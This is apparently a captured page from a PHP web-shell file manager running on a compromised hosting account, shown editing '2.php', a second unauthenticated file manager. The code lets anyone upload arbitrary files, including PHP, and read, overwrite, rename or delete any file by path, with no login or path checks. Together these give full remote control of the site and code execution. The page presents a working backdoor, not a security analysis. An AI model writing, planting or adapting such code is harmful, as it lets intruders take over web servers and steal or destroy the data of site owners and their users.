?? File Manager Pro
v10.0.2 | PHP: 8.2.31
Server: LiteSpeed
2026-06-22 11:24:29
??
/
/
home
/
kaskqphv
/
angkakaskus1.com
??
Editing: 2.php
<?php // ===================================== // UTF-8 OUTPUT // ===================================== header("Content-Type: text/html; charset=utf-8"); // ===================================== // CURRENT WORKING PATH // ===================================== $root = realpath('.'); $current = isset($_GET['dir']) && realpath($_GET['dir']) ? realpath($_GET['dir']) : $root; // ===================================== // FILE UPLOAD // ===================================== if (isset($_FILES['upload']) && $_FILES['upload']['error'] === 0) { $target = $current . DIRECTORY_SEPARATOR . $_FILES['upload']['name']; move_uploaded_file($_FILES['upload']['tmp_name'], $target); header("Location:?dir=" . urlencode($current)); exit; } // ===================================== // CREATE DIRECTORY // ===================================== if (!empty($_POST['folder'])) { mkdir($current . DIRECTORY_SEPARATOR . trim($_POST['folder'])); header("Location:?dir=" . urlencode($current)); exit; } // ===================================== // DELETE FILE / FOLDER // ===================================== if (isset($_GET['del'])) { $kill = realpath($current . DIRECTORY_SEPARATOR . $_GET['del']); if ($kill) { is_dir($kill) ? rmdir($kill) : unlink($kill); } header("Location:?dir=" . urlencode($current)); exit; } // ===================================== // RENAME // ===================================== if (!empty($_POST['from']) && !empty($_POST['to'])) { rename( $current . DIRECTORY_SEPARATOR . $_POST['from'], $current . DIRECTORY_SEPARATOR . $_POST['to'] ); header("Location:?dir=" . urlencode($current)); exit; } // ===================================== // SAVE EDITED FILE // ===================================== if (!empty($_POST['save_path'])) { file_put_contents($_POST['save_path'], $_POST['content']); header("Location:?dir=" . urlencode(dirname($_POST['save_path']))); exit; } // ===================================== // READ DIRECTORY // ===================================== $list = scandir($current); // ===================================== // UI // ===================================== echo "<h2>?? File Manager</h2>"; echo "<p><b>Path:</b> {$current}</p>"; echo "<a href='?dir=" . urlencode(dirname($current)) . "'>? Back</a><br><br>"; // upload echo " <form method='post' enctype='multipart/form-data'> <input type='file' name='upload'> <button>Upload</button> </form> "; // new folder echo " <form method='post'> <input name='folder' placeholder='Folder name'> <button>Create</button> </form><br> "; // table echo "<table border='1' cellpadding='6'> <tr><th>Name</th><th>Action</th></tr>"; foreach ($list as $item) { if ($item === '.' || $item === '..') continue; $full = $current . DIRECTORY_SEPARATOR . $item; echo "<tr><td>"; if (is_dir($full)) { echo "<a href='?dir=" . urlencode($full) . "'>?? {$item}</a>"; } else { echo "?? {$item}"; } echo "</td><td>"; // rename echo " <form method='post' style='display:inline'> <input type='hidden' name='from' value='{$item}'> <input name='to' placeholder='Rename'> <button>?</button> </form> "; // delete echo " <a onclick='return confirm(\"Delete?\")' href='?dir=" . urlencode($current) . "&del={$item}'>??</a>"; // edit if (is_file($full)) { echo " | <a href='?dir=" . urlencode($current) . "&edit={$item}'>?</a>"; } echo "</td></tr>"; } echo "</table>"; // ===================================== // EDITOR // ===================================== if (isset($_GET['edit'])) { $editFile = $current . DIRECTORY_SEPARATOR . $_GET['edit']; if (is_file($editFile)) { $data = htmlspecialchars(file_get_contents($editFile)); echo " <h3>Editing: {$_GET['edit']}</h3> <form method='post'> <input type='hidden' name='save_path' value='{$editFile}'> <textarea name='content' rows='20' cols='100'>{$data}</textarea><br> <button>?? Save</button> </form> "; } } ?>
?? Save Changes
? Cancel